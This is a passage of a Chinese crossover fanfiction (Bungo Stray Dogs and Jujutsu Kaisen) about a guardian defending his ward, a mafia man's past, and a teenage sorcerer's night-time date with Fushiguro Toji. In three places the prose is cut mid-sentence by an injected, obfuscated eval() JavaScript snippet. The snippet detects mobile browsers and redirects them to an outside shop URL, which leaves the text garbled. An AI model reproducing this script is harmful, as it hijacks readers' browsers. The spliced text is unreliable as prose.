但还没有开口,一直沉默着旁观他们交流的偷渡客突然冷冷插嘴,“福泽社长,他只在你那里待了几个月,鸣月养了他两年,你并没有鸣月了解他。” 此话一出,不论是不是当事人都被震惊到了。 完全没有这个设定的两个当事人默契偏头,同时看向不知从哪搞来了一个面具戴的男孩。 那张面具将面部轮廓与眼睛遮挡的严严实实,很明显,这是在防藤原千学。 “千学?”福泽谕吉问。 以往会立即回复的藤原千学迟迟没有开口。 他也有点懵圈。 一样懵的西园寺鸣月感觉到自己的右手被人握住,两人的体温被厚厚的绷带阻隔,纱布粗粝的触感带着他往下,落在男孩的头顶。 冰蓝色的眼眸微愣,“小隐?” 偷渡客轻轻应了一声,松开手。 金发青年没有选择抽离,将温度通过细软的卷发,传递进他的心脏。 是足以灼烫灵魂的温度。 面具后的眼睛闭了闭,随即唇齿启合,语调泄出几许怪异的怒气,“怎么,你敢说从七岁到九岁的这两年,你也是在流浪中度过的?” - [世界,你还会自动填补设定空白?] 没得到回复的搭档扭头,发现世界果然又消失了,[算了,要不要把这加在设定上?] [加上吧,听起来有点意思。] 本来只是在西园寺那边做了两天客人,现在直接变成两年,算不算是短暂的养父和养子关系? 嗯……昔日父子,今竟处于对立阵营,相望不相识…… 共享着神隐脑子的搭档敲字动作一停。 [你这家伙他妈又在想什么有违人伦的东西?!] [想一想都不让,你真自私。] - 在福泽谕吉的注视下,藤原千学极其缓慢的,幅度很小的,点了一下头。 他说:“是他把我救出来的。” 救这个词用的很灵性。 是被人关住虐待了,还是犯了大事被严厉监管着,或是其他,就看听到这话的人会理解成什么样子了。 “但我已经报完恩了,我们在上个月就已经没有关系了。” 戴着面具的男孩冷哼,“没有关系?你在这个时候联系他,求助他,这叫没有关系?” “你和西园寺鸣月又是什么关系。”藤原千学注视着他,用锋利至极的眼睛剖开了他,“冒牌货。” “……” “……” 偷渡客突然轻笑出声。 “你又开始欺骗鸣月了,谎话精。” 面具微微挪了挪,一双狰狞的蛇眼朝向福泽谕吉,“社长知道吗,藤原千学精通的第一个本领,就是撒谎。” 他说着,又讥讽地笑了一声。 “一旦遇到对他不利的事情,撒谎就是他最先选择的解决方式,就比如现在,你猜他说的这几句话里,有哪句是真话?” 福泽谕吉袖口一重,他低头,对上藤原千学的眼睛,“我没有骗你。” “哦,现在可以肯定了,你之前说的都是谎话。” “……” 紧紧揪着监护人袖口的藤原千学立刻转头,眸光冷凝,“冒牌货,假身份是永远不会被人信任的。” “你骗了鸣月那么久,你觉得鸣月还会相信你吗?” “我不需要他的信任。”藤原千学说,“只有你这样一个极度渴求西园寺鸣月的,宁愿改掉所有习惯,试图以假乱真成为另一个人的冒牌货才需要。” 西园寺鸣月感觉到掌心下的身体轻微抖动了顷刻,他垂眸,安抚地揉了揉。 “别害怕,小隐。” “我相信千学。” 福泽谕吉和他的声音一同响起。 诧异地和银发武士对视一眼,西园寺鸣月好脾气地朝人笑了笑,得到了一个警惕的皱眉。 “或许千学在以前不知事时做了很多错事。”福泽谕吉牵住将他袖口扯皱的手,不动声色将藤原千学挡在身后,“但那是教育者的责任,他被教导成如今模样,这断然不是千学的错误。” “他不会犯错了。”福泽谕吉笃定。 明里暗里还是在骂我啊。 头一次遭遇人品质疑和教育质疑的西园寺鸣月摩挲着剑柄,也不知道该不该笑了。 “其实那两年里千学没有出过门……” 千学变成如今这样真不能怪他啊。 他总不能说你收养的这个孩子是个天生黑手党吧。 糟糕,福泽谕吉的目光好像在说这不是更严重了吗。 “是更早之前。” 藤原千学悄声说,他总算对得起一回自己千疮百孔的良心,“是更早之前的事情,西园寺没有强硬要求我做过什么。” 不然自己也不会在发觉要出事的第一时间,就去联系西园寺鸣月。 偷渡客闻言,面具后刚发出一点动静,西园寺鸣月就曲起指节,点了点他的头顶。 见人听话地安静下来,金发青年才解释道:“我原来是将千学当做接班人培养的,所以方方面面就严厉了一些。” “毕竟千学真的很聪明。” 他弯弯眼睛,没有半点被针对的不爽与恼怒,“但既然千学现在不想成为黑手党,我肯定也不会强求,不用如此警惕我,我和千学还是朋友。” 藤原千学:“嗯。” 这句话之后,加上藤原千学的配合,事情就好说了很多。 很快,发现周围不断有人接近,感觉再停留自己就真的走不了了,西园寺鸣月就准备道别离开了。 在离开之前,福泽谕吉和西园寺鸣月交换了联系方式,言明以后要是有困难,可以直接联系他。 潜台词就是别再联系藤原千学了。 有点像是态度强硬地拆开小情侣的家长……咳,并甩了一百万在他脸上。 西园寺鸣月默默收起手机。 “为什么不把真相说出来?” 回去的路上,偷渡客开口问:“那次的杀手是来杀藤原千学的吧,鸣月刚才明明可以直接说出来。” 一点没将刚才的难堪和拒绝放在心上,走着走着心血来潮拐步到家具城来的金发青年闻言,先从沙发店老板手中取回黑卡,又兴致勃勃买了十几个一模一样的抱枕。 等到所有店员都去帮忙打包的时候,他才回答:“那太麻烦了。” “道个歉就可以解决的场面,没必要因为被误会后产生的委屈心理就把事情闹大,那于我,于千学而言都不是好事情。” 西园寺鸣月一边说,一边走到对面的店铺,拿起一条毯子看了看。 “我记得,你是喜欢青蓝色?” 偷渡客指向另一条羊毛毯,米白色的,“我要这个。” “所以你委屈吗?” 挑选花瓶的时候,偷渡客又问。 “为什么要委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690031|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”西园寺鸣月笑了笑,“每个人看到的事物不同,态度也不同,福泽先生这样做,代表他注重千学的成长,这算是好事。” “这算什么好事?” 家具城的人数在这个时间段达到顶峰,虽说因“鬼怪杀人”一事,横滨最近人心惶惶,但还是有不少人交谈着从他们身旁经过。 偶尔会有惊叹的视线落到西园寺鸣月优越的身高与样貌上,或落到将全部肌肤藏在绷带下、但明显没有受伤的男孩身上。 他们悠闲地站在百来个花瓶之间,金发青年弯腰,拿起一个造型奇特的卡通花瓶,“不会有人再利用他的大脑牟利了。” “他拿了你一枚宝石,还谎称从杀手身上摸来的。”偷渡客执着于要一个准确的答复,“这对你算什么好事?” 西园寺鸣月想了想,“我会很开心?” “……” 偷渡客短暂的无语了片刻。 从家具城出来,天色已经不早了。 今日的傍晚是少见的金黄色,金灿灿的云朵布满天空,蔓延至天边却晕染出了一点艳美的红。 正如绷带后半睁不睁的眼睛。 垂向地面的睫毛卷而翘,轻颤着将照向自己的天光吞噬,余下无穷无尽的空洞与迷茫。 “他为了让自己多获得一点怜悯,将你塑造成一个自私自利、善于伪装并为了利益无所不用其极的奸诈之人,你就没有一点讨厌他吗?” “人是利己生物。” 西园寺鸣月抱着束花不紧不慢走在路边,“我理解千学的做法。” 偷渡客讽刺性地笑了一声,“他可不会理解你。” ”你的退让只会让他更加变本加厉,日后全部事情他都可以推到你的身上,这就是你收养了他两年,并倾囊相授的结果。” 这句话说的,就像是在笃定未来他会成为藤原千学的替罪羊一样。 不过他确实有这种想法来着。 有西园寺鸣月背锅,藤原千学做事可以更放肆一点,要是太出格,就可以说是在黑手党耳濡目染下学到的。 在游戏里,玩家间相互背刺可太常见了。 更何况武装侦探社和港口黑手党的人交好不是什么好事情。 西园寺鸣月想着,嘴上也如此回答着。 “我是黑手党嘛,哪有侦探和罪犯是朋友的。” 偷渡客突然停住脚步,多走出半步路的青年低头看他,“怎么了?” “你……” 不再刻意上调的语调沉郁,平端多出几分不该有的颤音,“你不是向往平静的生活吗?” 没想到男孩会说出这句话,西园寺鸣月眼神恍惚一瞬,随后唇角勾起,露出与平常无异的笑容。 “平静啊……” 他的语气也是如常的云淡风轻,听不出丝毫怅惘与愁绪。 “小隐,那已经是十年前的梦想了。” 西园寺鸣月这一话,算是间接承认了他“伏黑隐”的身份。 但为什么…… “伏黑隐”茫然地看着他。 日暮西沉的最后一刻,余晖将最后一丝光芒投向那双猩红色的眼睛里,糅杂出极其浑浊的眸色。 在其中,青年的影子清晰可见,没有少年时的单薄,亦再无半分脆弱彷徨。 高大挺拔,意气风发。 这是一个属于成年人的影子。 “人总是要向前的,也是要认命的。” 在夜幕彻底笼罩住这片街区之前,西园寺鸣月落下最后一句,自挚友死亡后,就一直深深镌刻在魂灵上的话语—— “诞生于黑暗中的花,是不能被光明眷顾的,小隐,这是你交给我的道理。” 40.第 40 章 藤原千学现在很烦。 他本来是能够回去的。 但不知道哪个该死的家伙,硬是从已经被西园寺鸣月填平的坑洞里,挖到了个笑脸。 笑脸是由一串小众语言连成的——小侦探,这份礼物喜欢吗? 小侦探。 在场的未成年只有两个。 一个“杀人侦探”的名号早就扬名,要挑衅也该用这个称呼。 很自然的,所有人都不由自主看向了另一位。 奔波大半天-被人注视多久精神就紧绷了多久-好不容易放松下来-趴在监护人身上昏昏欲睡-以为能在天黑前回家-的藤原千学心生不详预感,犹豫地睁开眼。 然后就被异能特务课以保护为由,留在了这里。 藤原千学自然不愿意,抱着福泽谕吉手臂就差当场哭出声来了,他非常善于利用自己的表情,加上本身就有的体弱buff,可怜兮兮到大部分的人都狠不下心,松了口。 但话语权往往只掌握在少数人的手中。 比如绫辻行人。 而福泽谕吉在接了个电话之后,也沉默着同意了。 藤原千学不会拒绝监护人的一切要求。 在去往异能特务课为他们准备的住所时,他看着沉默了一路的福泽谕吉,问:“你开始讨厌我了吗?” “因为我隐瞒了被黑手党收养过两年的事情,所以你准备丢弃我了。” 比起之前的歇斯底里,如今的藤原千学显得异常平静,他似乎真的只是在好奇福泽谕吉对自己的看法。 “如果想丢掉我,你应该和我说一声。”男孩镜片后的黝黑眼睛里是一片死水的静,“不然我会恨你的。” “不会。” 这个问题的答案,于福泽谕吉而言是完全不需要思索就能脱口而出的,“那不是你的错。” 前半生同样诛杀过无数人的银发武士半蹲下身,与藤原千学平视。 “我不会计较从前的事情,但是千学,你不能再步入黑夜中。”他说,“就算现在,你还没有完全褪去在黑夜中的一些习惯,时间很长,我们可以慢慢改变。” “所以不要再试探了。” 在藤原千学骤然涌现出不可思议的目光中,福泽谕吉轻易勘破了他此次话语中深埋着的恐惧不安。 “千学,武装侦探社是为了你和乱步建立的,是你永远的家,而家是不会因为一两次矛盾而分开的。” “家。” 藤原千学重复了好几遍这个词,他对这不长不短的一句话理解的有些缓慢,“不管我做什么都不会轻易分开的家。” 说完这句话后,藤原千学沉默了很长时间,最后满脸不解地看向福泽谕吉,“你为什么会知道我在想什么?”这在从前是完全不会出现的事情。 他的情绪在很早以前就能够完美地藏起来了,就连特意检测思想的机械也会被他骗过去。 半年不到的时间,藤原千学的不解要比从前几年加起来还要多了。 “这是一个合格的监护人应该拥有的本领。” 福泽谕吉抬起手,比起第一次的生疏笨重,哄过好几次藤原千学的他轻车熟路地将掌心覆在男孩头顶。 “我也担心你再遇到什么我顾及不到的危险,特务科可以保证你的安全,等这次事件结束,我们再回侦探社。” 藤原千学抬头,蹭了蹭监护人手掌,“结束就可以吗?” “嗯,在此之前会一直有人陪着你,不要害怕,这里和晚香堂没什么两样。” “好,我不害怕。” …… 但藤原千学还是非常非常烦。 不提那只莫名其妙叼着书找到异能特务课,催着他写读后感的三花猫——“走开啊烟虫。” 终于得偿所愿,和藤原千学成为“邻居”的绫辻行人靠在椅背上,姿势懒散,“我只是觉得有些新奇。” “你居然真的会听一只猫的话,像个乖学生一样在这老老实实的写着作文。” 烟斗在指尖轻转,说话间,少年唇角逸出青灰色的烟雾,如声音一样散漫。 防止真的激怒藤原千学,绫辻行人距离把握的很好,恰好在一个能让人闻到烟味感到心烦,但又不会打扰到思考的程度。 “你真的很讨厌。” “谬赞。” “……” 藤原千学抱着又一本新书噔噔噔下楼了,临走前不忘锁上阳台的门。 看着夜景,绫辻行人慢悠悠抽完最后一点烟,才取出钥匙,插进锁孔里转动。 走下楼,就瞧见两个着装相同的身影拥抱在了一起。 不,准确来说,是藤原千学在诉苦,江户川乱步在安抚。 得知消息后就急匆匆赶到这边来的名侦探大人坐在沙发上,耐心地哄着看起来受了大委屈的同伴。 余光瞥见有人下楼,翠绿眼眸往绫辻行人的方向瞥了一眼,又落到了他握着的烟斗上。 察觉到江户川乱步眼底的不快,绫辻行人叩击扶手,将已熄灭的烟斗重新放到了嘴里。 …… ……… 夜晚是个迷人的东西。 有人在夜晚与梦境约会,有人在夜晚满城流窜,而还有人…… “我们为什么要像变态痴汉一样蹲在这里?” “嘘——” 隐蔽的礁石后,大晚上还要戴个墨镜的白发学长扭头,对七海建人比了个小声一点的动作。 “学长……我们这是在偷窥小隐隐私吧?” 灰原雄的良心开始作痛。 “这是在关心小隐的感情生活。”不知不觉也跟着灰原雄一起称呼“小隐”的夏油杰聚精会神盯着前方,“小隐的恋人是个普通人,我们担心他会在约会时遇到一些困难。” “普通人?”灰原雄惊讶,“这样的话会很辛苦吧。” 由于咒术师的身份,永远无法对伴侣坦诚相待,且还会因为各种袚除任务,不能长时间地相伴下去,没有伴侣会喜欢这样的生活。 所以咒术师和普通人恋爱的大多结局,都会是分开。 “所以我们才需要关心小隐。”五条悟郑重其事的说,他也开始喊小隐了,“万一他们这次吵架了,我们也好出面帮小隐教训那个家伙。” 就是想找个光明正大的理由揍人吧……看着白毛学长脸上越说越明显的笑容,顶着死鱼眼的七海建人在内心吐槽。 “小隐是个对感情很重视的人,要是真的吵架了,他会伤心很久。”夏油杰给出了一个更合适的理由。 “我可……咳,我们可以在第一时间安慰他。” “杰,杰,有人过去了!”一直聚精会神盯着远处的五条悟用力推了推挚友。 那是一个身材魁梧,十分高大的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694931|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 他无疑拥有一具完美的躯体,每块肌肉都长在了该长的地方。 “居然比画纸上的还要大……” 夏油杰喃喃自语,他居然会在这方面上感受到自卑。 五条悟的情绪则更加忿忿不平,“他不是说只喜欢比他矮的男人吗!” “都说了那是隐忽悠你……抱、拥抱了!” “哇!”灰原雄感叹,“原来现实中的恋人亲吻是这个样子的。” 余光瞥到丸子头前辈因这句话瞬间灰白的脸色,七海建人低咳一声,折起手肘撞了撞同期,示意他看向夏油杰。 一下就发现不对的灰原雄霎时闭上嘴,做了一个拉拉链的动作。 接着,憋不住话的他又用细弱蚊蚁的声音在同期耳边说:“夏油前辈是不是……” “应该是。”七海建人默默点头。 “你的前辈看起来很伤心。” 海风特有的湿咸气穿过两人相拥的缝隙,在换气间隙,伏黑甚尔贴着少年鼻梁将语句挤出,“不去安慰他吗?” 伏黑隐抬眼,搂紧了男人脖子,“你确定要这样玩?” “不,”伏黑甚尔改口,“这是我好不容易争取到的时间。” “换一个地方?” 那几道视线的存在感过于强烈了。 以伏黑隐对外在形象的注重与执着,更近一步的事情他断然不会同意在这里做。 伏黑甚尔说着,揽住怀中人的腰就准备往回走。 “甚尔君——他是谁?!” 尖利的少年音响起,活像见到丈夫偷○的妻子。 伏黑隐从伏黑甚尔怀里退开,瞧见一个染着金发的少年远远跑过来,他穿着京都咒术高专的制服,面目英俊,有几分熟悉。 [禅院直哉,术式……哇哦,他就是那个伏黑甚尔的毒唯。] 听到搭档对来人的简略讲解,伏黑隐隐蔽地朝甚尔挑了挑眉,“你兄弟?” “不,我不认识。” 伏黑甚尔表现的比伏黑隐还要疑惑,他看着来人一脸愤怒的接近,总算想起一点什么,“可能是我以前的某个客户。” 客户…… 伏黑隐提醒:“但他和你有点像。” 伏黑甚尔立马澄清:“我没搞过这种业务。” “甚尔,我不是这个意思,我是想说你不觉得他的眼睛和你很像吗?或许你们是……” “我们真的没有任何关系。” 已经来到两人面前但被持续无视的禅院直哉:“……甚尔君,是我啊,我是直哉。” “你知道在没遇到你之前我对男人不感兴趣的。” “甚尔君……” “他都喊你名字了,你们肯定认识,我不在意这些啦,你们长得有些像,肯定有……” “我和他绝对没有关系。” 分不清到底是真的听不懂,还是刻意转移话题,伏黑隐叹口气,推开挡住自己视线的伏黑甚尔,看向禅院直哉,“你是甚尔的兄弟吗?” 不愧为甚尔毒唯的这个称号,原本满脸憧憬像只小狗一样的金发少年见到他,瞬间转变了脸色,戾气呈现在他的脸上,看起来便与伏黑甚尔更加像了。 “小白脸,不要以为你勾引了甚尔君,就能够拥有抬头和我交流的权利!” ……小白脸? 伏黑隐脸上笑容更盛。 41.第 41 章 “原来被叫小白脸是这种感觉。“ 他说道,声音里带着一种前所未有的新奇。 以往被叫小白脸的都是伏黑甚尔,多是从前治疗过的诅咒师在愤怒之下的谩骂。 如今第一回火烧到自己身上,比起愤怒,伏黑隐更多的是新鲜感。 禅院直哉显然将他这道笑容视作了挑衅。 那张继承了禅院家优越骨相的脸因愤怒而扭曲,他气急败坏地指着伏黑隐,“不要脸的家——” “……被踹飞了。” 望着空中那道金黑色的抛物线,灰原雄由衷感叹,“小隐的恋人好厉害。” 听见同期傻白甜一样看到什么就说什么的模样,七海建人无奈扶额,“但那是京都校的人吧。”他在白天的袚除队伍中看到过这人。 五条悟摸摸下巴,墨镜滑下鼻梁,他的表情带着毫不掩饰的,像是遇到大麻烦一样的扭曲神色,“是禅院家的跟屁虫。” “跟屁虫?” “那个家伙……” 在看到那头金黄色头发的时候,夏油杰表情就有些不妙了,现在更是一言难尽,“在悟小时候经常挑衅他。” 灰原雄好奇追问:“后来呢?” “后来?”夏油杰的语气带着点幸灾乐祸,“后来悟狠狠揍了他一顿,挑衅确实是停止了。” “但他开始尾随老子了。” 五条悟的声音听起来有些咬牙切齿,“老子就是在躲这个跟屁虫的时候,被大阝、” “——悟就是在那个时候遇到的我。” 夏油杰眼疾手快地揽住挚友脖子,不动声色捂住他的嘴巴,笑眯眯地接过话头,“当时的悟和现在相比,完完全全是两个人啊。” “哼,杰当时可是被老子按着打的。” 五条悟嘟嘟囔囔,当着学弟的面将挚友的底透了个干净,“那个时候的杰超级弱小,收服的咒灵最厉害都只有二级咒灵,完——全——不能打。” “悟,”夏油杰额角冒出青筋,笑容却越发灿烂,“你以为你因为当初强行祓除特级咒灵,差点人头分离的经历就很值得炫耀吗?” “反正老子不会因为被说一句弱小就偷偷躲起来吃咒灵球哭鼻子!” “我也不会因为被说一句不行就强行维持无下限术式,差点把脑子烧坏变成白痴。” “杰,你是想打架吗!” “随时奉陪啊!” “前辈们等一下再打,”一直关注着另一面战场的灰原雄紧急叫停,“小隐他们要走了。” …… 由于出没在横滨的低级咒灵太多,此次任务算是长期任务,除去高专的学生,其余地方也有毕业的咒术师负责袚除。 虽说京都校常被五条悟称为“老古董教出小古董的古董店”,但实力方面还是不容置疑的,至少在这一届中,禅院直哉确实是难得一见的天才。 高专负责的区域在一天之内就全部袚除完了,短暂的今夜过后,又会分配新的袚除区域。 休息时间可以做很多事情。 比如一场期待已久的约会,一顿温馨的晚餐,一次缠绵的依偎,或是手牵手从日暮走到天明。 伏黑甚尔表示——还有更浪漫的。 …… “怎么样,当时踩点的时候,我就觉得这里还不错。” 港.黑大楼的天台,离地百米,风声呼啸。 绚丽的灯光闪烁在城池间,勾勒出城市起伏的轮廓。 才被划分为租界不久的横滨并不及他们的世界繁华,但站在上百米高空往远处眺望时,同样会感到震撼。 五栋高耸入云的大楼,这是他们的横滨从未出现过的建筑。 港-黑大楼的天台风很大,少年雪白的头发被风肆意撩动,他坐在天台边缘处,微微将身体前倾,略带惊喜地向下看去。 “好漂亮。” 伏黑甚尔得意地哼笑,从身后环住少年纤细腰肢,“我就知道你会喜欢这里。” 他的声音带起胸腔的震动传入伏黑隐耳中。 “本来打算趁这段时间,把这里打造得更漂亮,结果估计是不太稳定,那次被你带走之后,就一直没再进来过。” 两个人亲密地坐在天台边,风将发丝亲密地交缠在一起,黑与白的界限看起来也没有那么分明。 伏黑甚尔将头倚在少年肩膀处,同样往下俯瞰,字句被吹得有些飘渺。 “没想到这次会成功,果然啊,有隐在,我的运气也会变好。” 那是因为我把你从黑名单拉出来了啊…… 而在伏黑甚尔看不到的视野中,被圈在怀里的少年眼底掠过一丝不易察觉的心虚。 他覆上腰间那双结实的手臂,身体放松地向后靠去,将自己完全交付给身后的怀抱,自然地转移到了另一个话题去,“那个骗子的单子,你没再接了吧?” “没有,这边的单子我都没接了。” 耳畔的吐息灼热,他邀功一般蹭了蹭伏黑隐的颈侧,“怎么样,够听话吧?” “要是你之前也和现在这样,我早就爱上你了。” 伏黑隐说着,扭头吻住伏黑甚尔唇角。 ——“什么人?!” 巡逻的手电筒光柱猛地从楼梯口.射来,照亮边缘相拥的两人,听见声音,伏黑隐眼神一凛,纤细的影子自光线下分离,迅速扑向大喊出声的黑手党成员。 咔哒。 灯光关闭。 刚刚踏上天台的黑手党成员瞬间消失在了原地,只余一点短促的回音。 但这一喊还是吸引了不少人的注意。 杂乱的脚步声从楼梯间层层涌上,被打断亲密时刻的伏黑甚尔不爽地舔了舔后槽牙,“把他们都杀了吧。”他提议道。 “我可不想在这个世界成为通缉犯。” 伏黑隐伸手捏起他的嘴角,“你知道这里特产什么吗?” “什么?” “高智商天才,还有各种难缠的家伙。” ”把他们一起杀了不行吗?” “不行。” 于是伏黑甚尔的表情更不爽了。 少年率先笑出了声,漫不经心往天台门口一瞥,与首个抵达的黑手党成员对视。 与灿阳同色的金色瞳孔移挪到来人长而卷的黑发上,又不感兴趣地离开。 “我带你去一个地方。” “什么地方?” 没有回答,在来人惊愕的注视下,伏黑隐拉住伏黑甚尔向后一仰,没进夜色的阴影里。 金色立方体后来一步,徒劳地堆叠在空荡荡的天台边缘。 在坠落的瞬间,一只手覆上男人温柔低垂的眼睛,像花瓣在晨间从枝头落下,温凉柔软。 “不要抗拒我。” 语落,伏黑甚尔感到一股温润的力量通过相触的皮肤流淌进来,如同春水漫过冻土,悄无声息渗入四肢百骸,最终流淌向灵魂深处。 失重感消失了。 车辆的鸣笛,人群的嘈杂和呼啸的风声也在这刹那消失,整个世界陷入一片纯净的安静,唯能听见两个人紧贴的心跳与呼吸。 …… 紧接着是花香。 那是一种冷淡而平静的香气,像是雪后初霁的松林,带着冰棱的清澈与草木的幽微,让人心神宁静。 伏黑甚尔忽然想起京都的冬雪,雪花飘起停在发间,在未曾成为搭档之前,每一次的风雪天都会让他想起伏黑隐。 那是与伏黑隐最相称的颜色与气息。 “睁开眼睛吧。” 在雪与花的馥郁中,他听从爱人的话语睁开眼睛。 …… 入目是一片夹杂着冰蓝色的白。 他们置身于一片花海之中,及膝的花朵在微风中摇曳,在夜色下闪烁着星星点点的光。 微风拂过,花浪层层涌动,如同月光下泛起涟漪的海。 外围是坍塌的废墟,断壁残垣在迷蒙的微光中静默伫立,与这片生机盎然的花海形成诡谲而梦幻的对比。 “这是我意外发现的地方。” 伏黑隐的脸上带着内敛的笑意,不如往常那般明媚张扬,却更加应景,如梦境般动人心魄。 “我上一次看见时花还没有完全开,大片的绿色也好看,也没想到会在这一天撞见。” 纤长的手指轻轻穿插进男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704354|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松松蜷起的指节,接着紧密相扣,少年用另一只手抚上他的侧脸,“今天要是甚尔不在的话,我也会错过花开的。” “所以有甚尔在身边的时候,我也非常幸运啊。” 伏黑甚尔喉结微微滚动,他头一次听到少年用这样温柔而直白的语气诉说情意,诉说与自己有关的幸运。 滚烫的情绪在胸腔里膨胀,几乎要满溢出来。 然而,还未等伏黑甚尔消化完这份悸动,不远处的花丛中就传来一声憋不住的低笑,打断他欲说的话语。 “………” 又一次被打断约会,伏黑甚尔的脸色瞬间沉了下来,锐利的目光扫向声源处。 “我只是恰好在这里睡觉。” 打破氛围的男孩捂住嘴从花丛中站起身。 暗棕色眼瞳左右移动着,上看下看,就是不看伏黑甚尔黑沉的脸,“两位先生可以继续。” “烦人的小鬼。” 被爱人紧紧抓着手不让走动的伏黑甚尔低骂一声。 伏黑隐却只是弯起眉眼,面上不见丝毫愠怒,他反而觉得今天的经历格外有趣。 “看来今天的约会注定无法圆满了。” 此时的时间已经接近午夜了。 “我们回去吧。” 伏黑隐拉了拉伏黑甚尔的手,轻声安抚,“没关系,下次再找机会来就好了。” 伏黑甚尔不愿意。 “下次只能等你放假。”他语气硬邦邦的,明显带着不满。 “我会找机会偷偷出来的。”伏黑隐失笑着给了他一个安抚性的亲吻,“你忘记我的术式了?” 堂而皇之地无视了旁边小鬼欲盖弥彰的注视,伏黑甚尔嘴角上扬,弯下腰看着伏黑隐不说话。 看懂他暗示的伏黑隐无奈,仰头在他唇上接连印下几个轻吻。 “想要就直说啊。” 看着男人明显多云转晴的表情,他好笑地道。 “担心你又给我一刀。” “当初你可半点不怕这个。” “当初和现在不一样。” “哪里不一样?” “关系。” “……” 寒光一闪,手术刀险险擦过伏黑甚尔的脖颈。 男人敏捷地后仰,躲过这突如其来的一击,“怎么换了个地方扎?” “关系不一样了。”伏黑隐手腕一翻,收起手术刀。 他迈步走向花田,经过那个始终站在原地、明目张胆偷听的男孩时脚步微顿,又不受影响继续前行。 “对了。” 像是忽然想起什么,伏黑隐回头,看向正在拍打身上草屑的伏黑甚尔,“下个月月底你有安排吗?” “有一个。” “什么?” “津美纪,还有惠的家长会,你忘了?” “……” 好吧,他确实把这事忘了。 白发少年心虚地摸摸鼻尖,“你要去帮我开?” 伏黑甚尔抱起双臂,理所当然地说:“我也是家长。” “行。” “所以你问这个做什么,有什么事情需要我?” “也不是什么大事。”伏黑隐沉吟,“月底可能有一个单子,挺贵的。” 两个家长会而已,时间上应该能错开。 伏黑隐暗自思忖,余光忽地瞥见伏黑甚尔从嘴里掏出了丑宝。 “你把它拿出来做什么?” 伏黑甚尔一挥手,将一大片花田薅起,连根拔起的那种薅,“带点回去养。” ……也行吧。 反正都是他的花。 等到伏黑甚尔将装着花的丑宝重新塞回去,伏黑隐扭头,再次看了眼一直站在不远处的男孩。 他的胆子够大,面对这一系列不合常理的事也不害怕,反而饶有兴致看了全程,触及到伏黑隐的目光时,他甚至还毫不避讳地回望了过来。 扫过男孩脸上故作活泼的表情,以及那张隐约有些熟悉的面容,伏黑隐动作一顿。 但他最终什么也没说,只是伸出手,轻轻握住了伏黑甚尔的手腕。 “走吧,回去了。” 42.第 42 章 石头屋外,明亮的灯盏被人放在最中央。 十七个孩子坐成一个圈,听着西园寺鸣月为他们讲述冰雪国度的故事。 夏日的夜晚在外面睡也没关系,这里足够安全,好几个年龄较小的孩子已经枕着同伴的腿,陷入了梦乡,渐渐的,其他人也被这个氛围感染,昏昏欲睡了起来。 青年温和的讲述也慢慢停了下来。 灯光被调成了适合睡眠的昏暗亮度,夜色深邃。 野比二郎打了个哈欠,看了看已经趴在青年腿上熟睡的几个同伴。 起初是没人敢这样做的,毕竟再怎么温柔,西园寺先生也是属于另一个世界的人,他们只知道他喜欢像自己一样的孩子,但到底喜欢什么并不明晰。 万一是喜欢他们的乖巧,这样冒犯的举动一定会引起不喜的。 没有人想被抛弃。 不想被所依赖的大人抛弃。 直到前几天,跟在西园寺先生身边训练异能力的龙之介在他怀里睡着了,而西园寺先生并没有发怒,反而维持着那个姿势直到龙之介从熟睡中醒来时,他们便大胆了许多。 西园寺先生从来不拒绝,而这无限滋长了他们的胆量,现在胆子大的同伴,已经可以主动要求西园寺先生的拥抱了。 野比二郎没这样做过。 作为年龄最大的一个人,同样也是最先流浪到擂钵街来的他要比所有人都早熟很多,虽然也很好奇西园寺先生的怀抱到底是什么样子。 但其他人的感受与喜欢要比他的好奇更加重要。 不过挨着西园寺先生睡觉……也是可以的,野比二郎想着,忽然发现金发青年开始左右环顾,似乎在找些什么。 “西园寺先生,您在找什么吗?” 金发青年应了一声,表情带着担心,“我好像没有看见小隐。” 小隐。 自某天起一直跟在西园寺先生身边的人,是个恶劣的家伙,格外喜欢捉弄他们,特别喜欢捉弄龙之介。 有好几次,都让龙之介差点控制不住罗生门伤到人,幸亏野比二郎和芥川银每次都在场,能够将两人及时分开。 他的存在感说强,很多时候包括西园寺先生都会下意识忽略他,说不强,那身怪异的打扮又实在吸睛。 因此,野比二郎还记得在一个小时前,小隐还安静呆在西园寺先生的身边,不吵不闹听着故事。 他在西园寺先生身边一直很沉默,特别是在前段时间,与西园寺先生一同突然离开又在夜晚之前回来之后,他沉默了好几天,谁都没有搭理。 再往后,野比二郎也没想起来他什么时候离开的。 